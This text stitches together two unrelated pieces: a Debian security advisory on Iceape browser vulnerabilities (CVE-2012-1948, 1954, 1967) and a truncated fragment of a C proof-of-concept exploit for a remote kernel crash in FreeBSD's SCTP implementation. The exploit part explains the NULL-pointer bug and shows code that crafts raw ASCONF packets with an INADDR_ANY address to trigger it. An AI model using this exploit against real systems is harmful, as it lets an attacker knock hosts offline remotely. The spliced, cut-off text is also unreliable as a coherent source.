Package : iceape
Vulnerability : several
Problem type : remote
Debian-specific: no
CVE ID : CVE-2012-1948 CVE-2012-1954 CVE-2012-1967
Several vulnerabilities have been found in the Iceape internet suite,
an unbranded version of Seamonkey:
CVE-2012-1948
Benoit Jacob, Jesse Ruderman, Christian Holler, and Bill McCloskey
identified several memory safety problems that may lead to the
execution of arbitrary code.
CVE-2012-1954
Abhishek Arya discovered a use-after-free problem in nsDocument::AdoptNode
that may lead to the execution of arbitrary code.
CVE-2012-1967
moz_bug_r_a4 discovered that in certain cases, javascript:: URLs can
be executed so that scripts can escape the JavaScript sandbox and run
with elevated privileges. This can lead to arbitrary code execution.
For the stable distribution (squeeze), this problem has been fixed in
version 2.0.11-14.
For the unstable (sid) and testing (wheezy) distribution, this problem
will be fixed soon.
We recommend that you upgrade your iceape packages.
Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: https://www.debian.org/security/
/*
* FreeBSD kernel SCTP (latest release) remote NULL ptr dereference DoS
*
* by Shaun Colley < - البريد الإلكتروني حذف من قبل الإدارة (غير مسموح بكتابة البريد) ->, 2 Aug 2012
*
* The SCTP implementation used by FreeBSD ("reference implementation") is vulnerable to a remote
* NULL pointer dereference in kernel due to a logic bug. When parsing ASCONF chunks, an attempt is
* made to find an association by address. if the address found is INADDR_ANY, sctp_findassoc_by_vtag()
* is called and an attempt is made to find an association by vtag. Before searching for the vtag in a
* hash table, a pointer is set to NULL, with the intention of redefining it after finding the association.
* However, if the specified vtag is not found, the function returns and the ptr is never reinitialised,
* causing a kernel panic when the NULL pointer is later dereferenced by the SCTP_INP_DECR_REF macro when
* flow returns to sctp_process_control().
*
* i.e.
*
* static struct sctp_tcb *
* sctp_findassoc_by_vtag(struct sockaddr *from, uint32_t vtag,
* struct sctp_inpcb **inp_p, struct sctp_nets **netp, uint16_t rport,
* uint16_t lport, int skip_src_check)
*
* {
*
* [ ... ]
*
* *netp = NULL;
* *inp_p = NULL;
*
* [ ... ]
*
* head = &sctppcbinfo.sctp_asochash[SCTP_PCBHASH_ASOC(vtag,
* 1690 sctppcbinfo.hashasocmark)];
* if (head == NULL) {
* // invalid vtag
* SCTP_INP_INFO_RUNLOCK();
* return (NULL);
* }
*
* The page fault is a write AV at 0x0 + 0x33c but since there is no associated user context, this
* doesn't appear to be exploitable (i.e. by mapping the NULL page)
*
* Tested against FreebSD 8.2-RELEASE but latest release is also vulnerable. The target system must have an open
* SCTP port
*
*/
/* tell the kernel not to put any IP headers in */
if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
printf("[*] setsockopt() error\n");
return -1;
}
ipv4_addr->ph.length = htons(sizeof(struct sctp_ipv4addr_param));
ipv4_addr->ph.type = htons(0x0005);
ipv4_addr->addr = INADDR_ANY; /* this takes us down the bad code path */
/* what's the length of the whole packet? */
iph->ip_len = sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8 + sizeof(struct sctp_asconf_chunk)
+ sizeof(struct sctp_ipv4addr_param);
/* calculate IP checksum */
iph->ip_sum = checksum((unsigned short *)crash, iph->ip_len >> 1);
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